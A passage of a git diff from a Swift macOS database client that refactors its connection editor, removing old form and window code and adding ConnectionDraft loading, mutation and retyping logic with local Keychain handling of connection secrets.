String, - connectionType: DatabaseType, - additionalFieldValues: [String: String] - ) { - let sshState = tunnelStates.ssh - let cloudflareState = tunnelStates.cloudflare - let cloudSQLProxyState = tunnelStates.cloudSQLProxy - let socksProxyState = tunnelStates.socksProxy - - // A test's copies never leave this Mac, whatever the password sync setting says. - _ = services.connectionStorage.stagingSecretEdits(for: testId, deviceOnly: true) { - if !password.isEmpty && !promptForPassword { - services.connectionStorage.savePassword(password, for: testId) - } - if sshState.enabled && sshState.profileId == nil { - if (sshState.authMethod == .password || sshState.authMethod == .keyboardInteractive) - && !sshState.password.isEmpty - { - services.connectionStorage.saveSSHPassword(sshState.password, for: testId) - } - if sshState.authMethod == .privateKey && !sshState.keyPassphrase.isEmpty { - services.connectionStorage.saveKeyPassphrase(sshState.keyPassphrase, for: testId) - } - if sshState.totpMode == .autoGenerate && !sshState.totpSecret.isEmpty { - services.connectionStorage.saveTOTPSecret(sshState.totpSecret, for: testId) - } - } - - if !sslClientKeyPassphrase.isEmpty - && !sslClientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty - { - services.connectionStorage.saveSSLClientKeyPassphrase(sslClientKeyPassphrase, for: testId) - } - - if cloudflareState.enabled && cloudflareState.authMethod == .serviceToken { - services.connectionStorage.saveCloudflareTokenId(cloudflareState.serviceTokenId, for: testId) - services.connectionStorage.saveCloudflareTokenSecret(cloudflareState.serviceTokenSecret, for: testId) - } - - if cloudSQLProxyState.enabled && cloudSQLProxyState.authMode == .serviceAccountKey - && !cloudSQLProxyState.serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - services.connectionStorage.saveCloudSQLProxyServiceAccountKey( - cloudSQLProxyState.serviceAccountKeyJSON, for: testId - ) - } - - if socksProxyState.enabled && !socksProxyState.password.isEmpty { - services.connectionStorage.saveSOCKSProxyPassword(socksProxyState.password, for: testId) - } - - for field in services.pluginManager.additionalConnectionFields(for: connectionType) - where field.isSecure - { - if let value = additionalFieldValues[field.id], !value.isEmpty { - services.connectionStorage.savePluginSecureField(value, fieldId: field.id, for: testId) - } - } - } - } - - func cleanupTestSecrets(for testId: UUID) { - services.connectionStorage.deletePassword(for: testId) - services.connectionStorage.deleteSSHPassword(for: testId) - services.connectionStorage.deleteKeyPassphrase(for: testId) - services.connectionStorage.deleteSSLClientKeyPassphrase(for: testId) - services.connectionStorage.deleteTOTPSecret(for: testId) - services.connectionStorage.deleteCloudflareTokenId(for: testId) - services.connectionStorage.deleteCloudflareTokenSecret(for: testId) - services.connectionStorage.deleteCloudSQLProxyServiceAccountKey(for: testId) - services.connectionStorage.deleteSOCKSProxyPassword(for: testId) - let secureFieldIds = services.pluginManager.secureConnectionFieldIds(for: network.type) - services.connectionStorage.deleteAllPluginSecureFields(for: testId, fieldIds: secureFieldIds) - LoadableExtensionApprovalStore.shared.revoke(for: [testId]) - temporaryTestIds.remove(testId) - } - - /// Every additional field value the form currently holds, across all three panes. - /// - /// The panes each own the values for their own section, so a `visibleWhen` rule that points at - /// a field in another section can never see it from inside one pane. Redis needs exactly that: - /// the Sentinel credentials live under Authentication and appear only when the Connection - /// Mode field, which lives under Connection, says sentinel. - var allAdditionalFieldValues: [String: String] { - auth.additionalFieldValues - .merging(network.additionalFieldValues) { _, network in network } - .merging(advanced.additionalFieldValues) { _, advanced in advanced } - } - - /// One engine over the current type's fields and the merged values, for field visibility, - /// built-in password hiding and required/range validation. The three pane view models read it - /// instead of each re-deriving the same answers from their own value slice. - var presentation: ConnectionPresentation { - ConnectionPresentation( - fields: services.pluginManager.additionalConnectionFields(for: network.type), - values: allAdditionalFieldValues, - hidesBuiltInPassword: PluginMetadataRegistry.shared.snapshot(for: network.type)? - .connection.hidesBuiltInPassword ?? false - ) - } - - private func targetValues(for section: FieldSection) -> [String: String] { - switch section { - case .authentication: return auth.additionalFieldValues - case .connection: return network.additionalFieldValues - case .advanced: return advanced.additionalFieldValues - } - } - - private func setFieldValue(_ value: String, fieldId: String, section: FieldSection) { - switch section { - case .authentication: - auth.additionalFieldValues[fieldId] = value - case .connection: - network.additionalFieldValues[fieldId] = value - case .advanced: - advanced.additionalFieldValues[fieldId] = value - } - } - - // MARK: - URL import - - private func applyParsed(_ parsed: ParsedConnectionURL) { - let oldType = network.type - network.type = parsed.type - if oldType != parsed.type { - applyTypeDefaults(parsed.type, includeNetwork: false) - auth.resetForType(parsed.type) - advanced.resetForType(parsed.type) - } - - if let socketPath = parsed.localSocketPath, network.supportsLocalSocket { - network.endpoint = .localSocket - network.localSocketPath = socketPath - transport = nil - } else { - // Left on Socket, normalizeTransport would drop the SSH server the URL names. - network.endpoint = .hostAndPort - } - network.host = parsed.host - network.port = String(parsed.resolvedPort) - network.database = parsed.database - auth.username = parsed.username - auth.password = parsed.password - ssl.applyImported(parsed.sslModeResolution) - - if let sshHostValue = parsed.sshHost { - /// Through the transport setter rather than the flag, so a URL naming an SSH server - /// can never leave a second transport enabled beside it. - transport = .ssh - ssh.state.host = sshHostValue - ssh.state.port = parsed.sshPort.map(String.init) ?? "" - ssh.state.username = parsed.sshUsername ?? "" - if let sshPass = parsed.sshPassword, !sshPass.isEmpty { - ssh.state.password = sshPass - } - if parsed.usePrivateKey == true { - ssh.state.authMethod = .privateKey - } - if parsed.useSSHAgent == true { - ssh.state.authMethod = .sshAgent - ssh.state.applyAgentSocketPath(parsed.agentSocket ?? "") - } - if parsed.sshNoAuth == true { - ssh.state.authMethod = .none - } - } - - if let hostList = PluginManager.shared.additionalConnectionFields(for: parsed.type).endpointHostList { - if let multiHost = parsed.multiHost, !multiHost.isEmpty { - network.additionalFieldValues[hostList.id] = multiHost - } else { - network.additionalFieldValues[hostList.id] = HostListEndpoint.parse( - parsed.host, - defaultPort: parsed.resolvedPort - )?.entry - } - } - - let mongoKeysAuth = auth.additionalFieldValues.keys.filter { - ($0.hasPrefix("mongo") || $0.hasPrefix("mongoParam_")) && $0 != "mongoHosts" - } - for key in mongoKeysAuth { - auth.additionalFieldValues.removeValue(forKey: key) - } - let mongoKeysAdvanced = advanced.additionalFieldValues.keys.filter { - ($0.hasPrefix("mongo") || $0.hasPrefix("mongoParam_")) && $0 != "mongoHosts" - } - for key in mongoKeysAdvanced { - advanced.additionalFieldValues.removeValue(forKey: key) - } - - if let authSourceValue = parsed.authSource, !authSourceValue.isEmpty { - writeFieldByRegistry("mongoAuthSource", value: authSourceValue) - } - if parsed.useSrv { - writeFieldByRegistry("mongoUseSrv", value: "true") - } - for (key, value) in parsed.mongoQueryParams where !value.isEmpty { - switch key.lowercased() { - case "authmechanism": - writeFieldByRegistry("mongoAuthMechanism", value: value) - case "replicaset": - writeFieldByRegistry("mongoReplicaSet", value: value) - case "uuidrepresentation": - writeFieldByRegistry("mongoUuidRepresentation", value: value) - // Secrets go to the Keychain through the SSL pane and a secure field, never into a plain option. - case "tlscertificatekeyfile", "sslclientcertificatekeyfile": - ssl.clientCertPath = value - ssl.clientKeyPath = value - case "tlscertificatekeyfilepassword", "sslclientcertificatekeypassword": - ssl.clientKeyPassphrase = value - case "authmechanismproperties": - let split = ConnectionSecretOptions.splitSessionToken(from: value) - if let remaining = split.remaining { - writeFieldByRegistry("mongoParam_\(key)", value: remaining) - } - if let token = split.sessionToken { - writeFieldByRegistry(ConnectionSecretOptions.mongoSessionTokenFieldId, value: token) - } - case "proxypassword": - // libmongoc has no proxy options, so the password would only sit in the record. - continue - default: - writeFieldByRegistry("mongoParam_\(key)", value: value) - } - } - if parsed.type.pluginTypeId == "Redis", let redisDb = parsed.redisDatabase { - writeFieldByRegistry("redisDatabase", value: String(redisDb)) - } - if let svcName = parsed.oracleServiceName, !svcName.isEmpty { - writeFieldByRegistry("oracleServiceName", value: svcName) - } - for (fieldId, value) in parsed.additionalFields where fieldId != MySQLLocalSocket.fieldKey { - writeFieldByRegistry(fieldId, value: value) - } - if let hex = parsed.statusColor, !hex.isEmpty { - customization.color = ConnectionURLParser.connectionColor(fromHex: hex) - } - if let env = parsed.envTag, !env.isEmpty, - let resolved = ConnectionURLParser.tagId(fromEnvName: env), - !customization.tagIds.contains(resolved) { - customization.tagIds.append(resolved) - } - if parsed.type.pluginTypeId == "libSQL", !parsed.host.isEmpty { - var urlString = "https://\(HostListEndpoint.urlHost(parsed.host))" - if let port = parsed.port { - urlString += ":\(port)" - } - writeFieldByRegistry("databaseUrl", value: urlString) - } - if parsed.type.pluginTypeId == "Cloudflare D1", !parsed.host.isEmpty { - writeFieldByRegistry("cfAccountId", value: parsed.host) - } - if parsed.type.pluginTypeId == "DuckDB" { - if parsed.host.isEmpty { - writeFieldByRegistry("duckdbMode", value: "local") - writeFieldByRegistry("duckdbFilePath", value: parsed.database) - } else { - writeFieldByRegistry("duckdbMode", value: "remote") - writeFieldByRegistry("duckdbHost", value: parsed.host) - if let port = parsed.port { - writeFieldByRegistry("duckdbPort", value: String(port)) - } - if !parsed.database.isEmpty { - writeFieldByRegistry("duckdbAlias", value: parsed.database) - } - } - } - if let connectionName = parsed.connectionName, !connectionName.isEmpty { - network.name = connectionName - } else if network.name.isEmpty { - network.name = parsed.suggestedName - } - if let level = parsed.safeModeLevel, let mode = SafeModeLevel.from(urlInteger: level) { - customization.safeModeLevel = mode - } - } - - private func writeFieldByRegistry(_ fieldId: String, value: String) { - let registry = services.pluginManager.additionalConnectionFields(for: network.type) - guard let field = registry.first(where: { $0.id == fieldId }) else { - advanced.additionalFieldValues[fieldId] = value - return - } - switch field.section { - case .authentication: - auth.additionalFieldValues[fieldId] = value - case .connection: - network.additionalFieldValues[fieldId] = value - case .advanced: - advanced.additionalFieldValues[fieldId] = value - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift deleted file mode 100644 index 82da7ec128..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormTab.swift +++ /dev/null @@ -1,59 +0,0 @@ -// -// ConnectionFormTab.swift -// TablePro -// - -import Foundation - -/// The facets of one connection. -/// -/// A tab bar rather than a sidebar because a connection is a single object: a sidebar is how -/// macOS navigates between peer items, and there is only ever one item here. The set is fixed -/// except for Network, so the form does not change shape between database types. -enum ConnectionFormTab: String, CaseIterable, Identifiable, Hashable { - case general - case network - case options - case appearance - - var id: String { rawValue } - - var title: String { - switch self { - case .general: return String(localized: "General") - case .network: return String(localized: "Network") - case .options: return String(localized: "Options") - case .appearance: return String(localized: "Appearance") - } - } - - /// What is stopping this tab from being savable, in the words the user needs to fix it. - /// - /// These strings were computed and thrown away before: the form showed a warning triangle - /// and a disabled Save and never said which field was empty. - @MainActor - func validationIssues(for coordinator: ConnectionFormCoordinator) -> [String] { - switch self { - case .general: - return coordinator.network.validationIssues + coordinator.auth.validationIssues - case .network: - let groups: [[String]] = [ - coordinator.ssh.validationIssues, - coordinator.remoteFile.validationIssues, - coordinator.cloudflareTunnel.validationIssues, - coordinator.cloudSQLProxy.validationIssues, - coordinator.socksProxy.validationIssues, - coordinator.tunnelCommand.validationIssues, - coordinator.ssl.validationIssues - ] - return groups.flatMap { $0 } - case .options: - /// `customization` is claimed here rather than by Appearance because Safe Mode is the - /// only control it owns that could ever fail a rule, and Safe Mode renders on this tab. - /// Claiming it by view model instead would send the user to a tab with no such control. - return coordinator.advanced.validationIssues + coordinator.customization.validationIssues - case .appearance: - return [] - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift deleted file mode 100644 index b42d8aaa7e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift +++ /dev/null @@ -1,75 +0,0 @@ -// -// ConnectionFormWindowController.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// Hosts the connection editor in an AppKit window so the app needs no SwiftUI scene for it. -/// -/// The registry keyed by request is the behaviour `WindowGroup(for:)` gave for free: two windows on -/// the same request would each own a `ConnectionFormCoordinator` writing the same stored -/// connection, so a repeat open focuses the window that exists. -@MainActor -internal final class ConnectionFormWindowController: NSWindowController, NSWindowDelegate { - private static var controllers: [ConnectionFormRequest: ConnectionFormWindowController] = [:] - - private var formCoordinator: ConnectionFormCoordinator? - - internal static func present(_ request: ConnectionFormRequest) { - let controller = controllers[request] ?? ConnectionFormWindowController(request: request) - controllers[request] = controller - controller.showWindow(nil) - controller.window?.makeKeyAndOrderFront(nil) - AppActivationPolicyController.shared.activate() - } - - private static func close(_ request: ConnectionFormRequest) { - controllers[request]?.close() - } - - private convenience init(request: ConnectionFormRequest) { - /// Read once: `consume` removes the draft, so a second call returns nil and the parsed URL - /// would be silently dropped. - let draft = Self.draft(for: request) - let coordinator = ConnectionFormCoordinator( - connectionId: request.editedConnectionId, - initialType: draft?.type, - initialParsedURL: draft?.parsedURL - ) - /// `dismiss()` is inert in a view hosted as a window's content view controller, so the - /// form's save, cancel and delete paths need an explicit way to close the window. - coordinator.dismissAction = { ConnectionFormWindowController.close(request) } - coordinator.start() - - /// One scrolling form, no sidebar: a connection is a single object. No `window.title` here, - /// since `NSWindow(contentViewController:)` binds the title to the controller's own, which - /// tracks the connection's type. - let content = ConnectionFormContentViewController(coordinator: coordinator) - let window = NSWindow(contentViewController: content) - window.identifier = NSUserInterfaceItemIdentifier(WindowIdentifier.connectionForm) - window.keepsKeyViewLoopCurrent() - window.styleMask = [.titled, .closable, .miniaturizable, .resizable] - window.isRestorable = false - window.contentMinSize = NSSize(width: 480, height: 480) - window.setContentSize(NSSize(width: 560, height: 640)) - if let autosaveName = SplitViewAutosaveName.current(WindowIdentifier.connectionForm) { - window.setFrameAutosaveName(autosaveName) - } - - self.init(window: window) - self.formCoordinator = coordinator - window.delegate = self - } - - private static func draft(for request: ConnectionFormRequest) -> ConnectionFormDraft? { - guard let draftId = request.draftId else { return nil } - return ConnectionFormDraftStore.shared.consume(draftId) - } - - internal func windowWillClose(_ notification: Notification) { - formCoordinator?.teardownOnClose() - Self.controllers = Self.controllers.filter { $0.value !== self } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift new file mode 100644 index 0000000000..1bd771a363 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift @@ -0,0 +1,202 @@ +// +// ConnectionDraft+Load.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProRedisCore +import TableProSSHConfig + +extension ConnectionDraft { + // Every section's plugin defaults are seeded here, once, for a new connection. + static func new( + type: DatabaseType, + traits: ConnectionTypeTraits, + environment: ConnectionEnvironment = .none + ) -> ConnectionDraft { + var draft = ConnectionDraft(type: type, environment: environment) + draft.host = traits.defaultHost ?? "" + draft.portText = traits.defaultPortText + draft.fieldValues = traits.defaultValues() + if let hostList = traits.fields.endpointHostList, draft.fieldValues[hostList.id] == nil { + draft.fieldValues[hostList.id] = HostListEndpoint.parse(draft.host, defaultPort: traits.defaultPort)?.entry + } + draft.ssl.mode = traits.ssl.defaultMode + draft.ssl.origin = .typeDefault + return draft + } + + static func loaded( + from connection: DatabaseConnection, + secrets: DraftSecrets, + traits: ConnectionTypeTraits, + sshConfigEntries: [SSHConfigEntry] = [] + ) -> ConnectionDraft { + let fields = connection.additionalFields + var draft = ConnectionDraft( + type: connection.type, + environment: fields[ConnectionEnvironment.fieldKey].flatMap(ConnectionEnvironment.init(rawValue:)) ?? .none + ) + draft.name = connection.name + draft.host = connection.host + draft.portText = connection.port > 0 ? String(connection.port) : "" + draft.database = connection.database + if traits.socketForwardApplies { + draft.sshForwardUnixSocketPath = fields[DatabaseConnection.sshForwardUnixSocketPathKey] ?? "" + } + + draft.fieldValues = loadedFieldValues(from: connection, secrets: secrets, traits: traits) + + draft.credentials.mode = connection.credentialMode + draft.credentials.username = connection.username + draft.credentials.password = secrets.password ?? "" + draft.credentials.storedPasswordState = secrets.passwordState + draft.credentials.promptsForPassword = connection.promptForPassword + draft.credentials.passwordSource = connection.passwordSource + + draft.loadTransports(from: connection, secrets: secrets, traits: traits, sshConfigEntries: sshConfigEntries) + + draft.ssl.mode = connection.sslConfig.mode + draft.ssl.origin = connection.sslConfig.mode == traits.ssl.defaultMode ? .typeDefault : .chosen + draft.ssl.caCertPath = connection.sslConfig.caCertificatePath + draft.ssl.clientCertPath = connection.sslConfig.clientCertificatePath + draft.ssl.clientKeyPath = connection.sslConfig.clientKeyPath + draft.ssl.clientKeyPassphrase = secrets.sslClientKeyPassphrase ?? "" + + draft.options.connectTimeoutSeconds = connection.connectTimeoutSeconds + draft.options.queryTimeoutSeconds = connection.queryTimeoutSeconds + draft.options.binaryInlineLimitKilobytes = connection.binaryInlineLimitKilobytes + draft.options.completionIdentifierCase = connection.completionIdentifierCase + draft.options.startupCommands = connection.startupCommands ?? "" + draft.options.preConnectScript = connection.preConnectScript ?? "" + draft.options.postDisconnectScript = connection.postDisconnectScript ?? "" + draft.options.scriptTimeoutSeconds = connection.scriptTimeoutSeconds + draft.options.localOnly = connection.localOnly + + draft.safety.safeModeLevel = connection.preferredSafeModeLevel + draft.safety.userSetSafeMode = true + draft.safety.commitMode = connection.commitMode + draft.safety.maskingRules = connection.maskingRules + + draft.ai.policy = connection.aiPolicy + draft.ai.rules = connection.aiRules ?? "" + draft.ai.externalAccess = connection.externalAccess + draft.ai.alwaysAllowedTools = connection.aiAlwaysAllowedTools.sorted() + + draft.appearance.color = connection.color + draft.appearance.iconName = LibrarySymbolCatalog.normalizedName(connection.iconName) + draft.appearance.tagIds = connection.tagIds + draft.appearance.groupId = connection.groupId + + return ConnectionEditorEngine.normalized(draft, traits) + } + + // Declared fields only: undeclared keys stay in the record and the merge keeps them. + private static func loadedFieldValues( + from connection: DatabaseConnection, + secrets: DraftSecrets, + traits: ConnectionTypeTraits + ) -> [String: String] { + let stored = connection.additionalFields + var values: [String: String] = [:] + for field in traits.fields { + if field.isSecure { + values[field.id] = secrets.pluginSecureFields[field.id] ?? "" + } else if let value = stored[field.id] { + values[field.id] = value + } else if let defaultValue = field.defaultValue { + values[field.id] = defaultValue + } + } + if let sessionToken = secrets.pluginSecureFields[ConnectionSecretOptions.mongoSessionTokenFieldId] { + values[ConnectionSecretOptions.mongoSessionTokenFieldId] = sessionToken + } + if traits.field(RedisDatabaseIndex.fieldName) != nil { + values[RedisDatabaseIndex.fieldName] = String(connection.configuredRedisDatabaseIndex) + } + // A file-backed driver with its own path field reads `database` when the field is empty. + if case .additionalField(let pathFieldId) = traits.localFilePathField, + (values[pathFieldId] ?? "").isEmpty, + !connection.database.isEmpty { + values[pathFieldId] = connection.database + } + if let hostList = traits.fields.endpointHostList { + values[hostList.id] = ConnectionEditorEngine.endpointList( + values[hostList.id] ?? "", + host: connection.host, + port: connection.port, + traits: traits + ) + } + return values + } + + private mutating func loadTransports( + from connection: DatabaseConnection, + secrets: DraftSecrets, + traits: ConnectionTypeTraits, + sshConfigEntries: [SSHConfigEntry] + ) { + switch connection.sshTunnelMode { + case .disabled: + break + case .inline(let config): + ssh.populateFields(from: config, configEntries: sshConfigEntries) + ssh.remoteFilePath = config.remoteFilePath + ssh.remoteFileAccess = config.remoteFileAccess + case .profile(let id, let snapshot): + ssh.profileId = id + ssh.profileSnapshot = snapshot + ssh.populateFields(from: snapshot, configEntries: sshConfigEntries) + ssh.remoteFilePath = connection.sshConfig.remoteFilePath + ssh.remoteFileAccess = connection.sshConfig.remoteFileAccess + } + ssh.adoptKeychainSecrets( + password: secrets.sshPassword, + keyPassphrase: secrets.sshKeyPassphrase, + totpSecret: secrets.totpSecret + ) + ssh.storedPasswordState = secrets.sshPasswordState + ssh.storedKeyPassphraseState = secrets.sshKeyPassphraseState + + if case .inline(let config) = connection.cloudflareTunnelMode { + cloudflare.populateFields(from: config) + } + cloudflare.serviceTokenId = secrets.cloudflareTokenId ?? "" + cloudflare.serviceTokenSecret = secrets.cloudflareTokenSecret ?? "" + + if case .inline(let config) = connection.cloudSQLProxyMode { + cloudSQLProxy.populateFields(from: config) + } + cloudSQLProxy.serviceAccountKeyJSON = secrets.cloudSQLServiceAccountKey ?? "" + + if case .inline(let config) = connection.socksProxyMode { + socksProxy.host = config.host + socksProxy.port = String(config.port) + socksProxy.username = config.username + } + socksProxy.password = secrets.socksPassword ?? "" + + if case .inline(let config) = connection.tunnelCommandMode { + tunnelCommand.config = config + } + + // An older build could store two transports; the editor shows the first, and Save and Test keep only that one. + switch connection.switchedOnTransports.first { + case .ssh: + transport = traits.supportsRemoteDatabaseFile ? .remoteFile : .ssh + case let kind?: + transport = kind + case nil: + break + } + + let socketPath = MySQLLocalSocket.path(in: connection.additionalFields) + if traits.supportsLocalSocket, transport == nil, let socketPath { + endpoint = .localSocket + localSocketPath = socketPath + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift new file mode 100644 index 0000000000..f3e9142e74 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift @@ -0,0 +1,159 @@ +// +// ConnectionDraft+Mutations.swift +// TablePro +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig + +// Each coupled edit is one method, so two fields never resolve against the same stale value. +extension ConnectionDraft { + mutating func setPort(_ text: String, traits: ConnectionTypeTraits) { + portText = text + reconcileSSLWithPort(traits: traits) + } + + mutating func reconcileSSLWithPort(traits: ConnectionTypeTraits) { + guard ssl.origin != .chosen else { return } + let resolution = traits.ssl.resolution(forPort: ConnectionEditorEngine.resolvedPort(self, traits)) + ssl.mode = resolution.mode + ssl.origin = resolution.origin + } + + mutating func selectSSLMode(_ mode: SSLMode) { + ssl.mode = mode + ssl.origin = .chosen + } + + mutating func applyImportedSSL(_ resolution: SSLModeResolution) { + ssl.mode = resolution.mode + ssl.origin = resolution.origin + } + + // One transport at a time; values a transport owns leave with it when nothing else can reach them. + mutating func selectTransport(_ kind: ConnectionTunnelKind?) { + transport = kind + if kind != .remoteFile { + ssh.remoteFilePath = "" + } + if kind != .ssh { + sshForwardUnixSocketPath = "" + } + } + + // No tunnel reaches a socket file on this Mac, so Socket clears the transport in the same edit. + mutating func selectEndpoint(_ newEndpoint: Endpoint) { + guard newEndpoint != endpoint else { return } + endpoint = newEndpoint + if newEndpoint == .localSocket { + selectTransport(nil) + } + } + + // Ask Every Time contradicts a stored password and any toggle that supplies the password another way. + mutating func setPasswordPrompt(_ prompts: Bool, traits: ConnectionTypeTraits) { + credentials.promptsForPassword = prompts + guard prompts else { return } + credentials.password = "" + for field in traits.fields where field.section == .authentication && field.hidesPassword { + if case .toggle = field.fieldType, fieldValues[field.id] == "true" { + fieldValues[field.id] = "" + } + } + } + + mutating func setCredentialMode(_ mode: CredentialMode) { + credentials.mode = mode + } + + mutating func setEnvironment(_ newEnvironment: ConnectionEnvironment) { + environment = newEnvironment + guard !safety.userSetSafeMode else { return } + safety.safeModeLevel = Self.defaultSafeModeLevel(for: newEnvironment) + } + + static func defaultSafeModeLevel(for environment: ConnectionEnvironment) -> SafeModeLevel { + environment == .production ? .alert : .silent + } + + // Picking the level a floor already shows keeps the saved choice, which comes back once the floor lifts. + mutating func setSafeModeLevel(_ level: SafeModeLevel, floor: SafeModeFloor?) { + let effective = floor?.raising(safety.safeModeLevel) ?? safety.safeModeLevel + guard level != effective else { return } + safety.safeModeLevel = level + safety.userSetSafeMode = true + } + + mutating func setManualCommit(_ enabled: Bool, traits: ConnectionTypeTraits) { + guard traits.manualCommitAvailable else { return } + safety.commitMode = enabled ? .manual : .automatic + } + + mutating func setFieldValue(_ value: String, for fieldID: String) { + fieldValues[fieldID] = value + } + + mutating func forgetAlwaysAllowed(_ tool: String) { + ai.alwaysAllowedTools.removeAll { $0 == tool } + ai.revokedTools.insert(tool) + } + + @discardableResult + mutating func addMaskingRule() -> UUID { + let rule = MaskingRule(pattern: "") + safety.maskingRules.append(rule) + return rule.id + } + + mutating func removeMaskingRule(id: UUID) { + safety.maskingRules.removeAll { $0.id == id } + } + + mutating func updateMaskingRule(_ rule: MaskingRule) { + guard let index = safety.maskingRules.firstIndex(where: { $0.id == rule.id }) else { return } + safety.maskingRules[index] = rule + } + + mutating func selectSSHProfile(_ id: UUID?, profiles: [SSHProfile]) { + ssh.profileId = id + if let id, let profile = profiles.first(where: { $0.id == id }) { + ssh.profileSnapshot = profile.toSSHConfiguration() + } + } + + mutating func selectSSHConfigHost(_ host: String) { + ssh.selectedConfigHost = host + if !host.isEmpty { + ssh.host = host + } + } + + @discardableResult + mutating func addJumpHost() -> UUID { + let jumpHost = SSHJumpHost() + ssh.jumpHosts.append(jumpHost) + return jumpHost.id + } + + mutating func removeJumpHost(id: UUID) { + ssh.jumpHosts.removeAll { $0.id == id } + } + + mutating func updateJumpHost(_ jumpHost: SSHJumpHost) { + guard let index = ssh.jumpHosts.firstIndex(where: { $0.id == jumpHost.id }) else { return } + ssh.jumpHosts[index] = jumpHost + } + + mutating func moveJumpHosts(fromOffsets source: IndexSet, toOffset destination: Int) { + let moving = source.sorted() + guard !moving.isEmpty, moving.allSatisfy({ ssh.jumpHosts.indices.contains($0) }) else { return } + let moved = moving.map { ssh.jumpHosts[$0] } + let shift = moving.filter { $0 < destination }.count + for index in moving.reversed() { + ssh.jumpHosts.remove(at: index) + } + let insertion = min(max(destination - shift, 0), ssh.jumpHosts.count) + ssh.jumpHosts.insert(contentsOf: moved, at: insertion) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift new file mode 100644 index 0000000000..8c7ea382a8 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift @@ -0,0 +1,172 @@ +// +// ConnectionDraft+Retype.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit + +struct RetypeProposal: Equatable, Sendable { + let from: DatabaseType + let to: DatabaseType + // User-facing names of the values the new type cannot hold, for the confirmation. + let dropped: [String] + let result: ConnectionDraft + + var needsConfirmation: Bool { !dropped.isEmpty } +} + +extension ConnectionDraft { + // One keep-list decides: whatever the new type supports stays, the rest comes from the new type's defaults. + func retyped(to newTraits: ConnectionTypeTraits, from oldTraits: ConnectionTypeTraits) -> RetypeProposal { + var next = ConnectionDraft.new(type: newTraits.type, traits: newTraits, environment: environment) + next.name = name + next.appearance = appearance + next.safety = safety + next.ai = ai + next.options = options + next.ssh = ssh + next.cloudflare = cloudflare + next.cloudSQLProxy = cloudSQLProxy + next.socksProxy = socksProxy + next.tunnelCommand = tunnelCommand + + let keepsNetworkValues = oldTraits.connectionMode == .network && newTraits.connectionMode == .network + keepEndpoint(into: &next, keepsNetworkValues: keepsNetworkValues, newTraits: newTraits, oldTraits: oldTraits) + keepCredentials(into: &next, newTraits: newTraits) + next.fieldValues.merge(carriedFieldValues(newTraits: newTraits, oldTraits: oldTraits)) { _, carried in carried } + if let hostList = newTraits.fields.endpointHostList, oldTraits.field(hostList.id) == nil { + next.fieldValues[hostList.id] = HostListEndpoint.parse( + ConnectionEditorEngine.resolvedHost(next, newTraits), + defaultPort: ConnectionEditorEngine.resolvedPort(next, newTraits) + )?.entry + } + keepTransport(into: &next, newTraits: newTraits) + keepSSL(into: &next, newTraits: newTraits) + + return RetypeProposal( + from: type, + to: newTraits.type, + dropped: droppedValues(next: next, oldTraits: oldTraits), + result: next + ) + } + + mutating func retype(to newTraits: ConnectionTypeTraits, from oldTraits: ConnectionTypeTraits) { + self = retyped(to: newTraits, from: oldTraits).result + } + + private func keepEndpoint( + into next: inout ConnectionDraft, + keepsNetworkValues: Bool, + newTraits: ConnectionTypeTraits, + oldTraits: ConnectionTypeTraits + ) { + guard keepsNetworkValues else { return } + let trimmedHost = host.trimmingCharacters(in: .whitespaces) + if !trimmedHost.isEmpty, trimmedHost != (oldTraits.defaultHost ?? "") { + next.host = host + } + if let port = ConnectionEditorEngine.parsePort(portText), port != oldTraits.defaultPort { + next.portText = String(port) + } + if oldTraits.showsBuiltInDatabaseField, newTraits.showsBuiltInDatabaseField { + next.database = database + } + if endpoint == .localSocket, newTraits.supportsLocalSocket { + next.endpoint = .localSocket + next.localSocketPath = localSocketPath + } + } + + private func keepCredentials(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { + next.credentials.passwordSource = credentials.passwordSource + next.credentials.storedPasswordState = credentials.storedPasswordState + guard newTraits.connectionMode != .fileBased else { return } + next.credentials.mode = credentials.mode + if newTraits.connectionMode == .network { + next.credentials.username = credentials.username + } + if !newTraits.hidesBuiltInPassword { + next.credentials.password = credentials.password + next.credentials.promptsForPassword = credentials.promptsForPassword + } + } + + // A field both types declare keeps a value the user set, when the new field can hold it. + private func carriedFieldValues(newTraits: ConnectionTypeTraits, oldTraits: ConnectionTypeTraits) -> [String: String] { + var carried: [String: String] = [:] + for field in newTraits.fields { + guard let oldField = oldTraits.field(field.id), let value = fieldValues[field.id] else { continue } + if !field.isSecure, value == (oldField.defaultValue ?? "") { continue } + if field.isSecure, value.isEmpty { continue } + if case .dropdown(let options) = field.fieldType, !options.contains(where: { $0.value == value }) { continue } + carried[field.id] = value + } + return carried + } + + // Not the nearest kind: a kept MySQL port forward would otherwise become SQLite's file copy. + private func keepTransport(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { + // A path only Remote File reads would otherwise ride into the saved SSH configuration. + next.ssh.remoteFilePath = "" + guard let transport, ConnectionEditorEngine.availableTransports(next, newTraits).contains(transport) else { return } + next.transport = transport + if transport == .ssh, 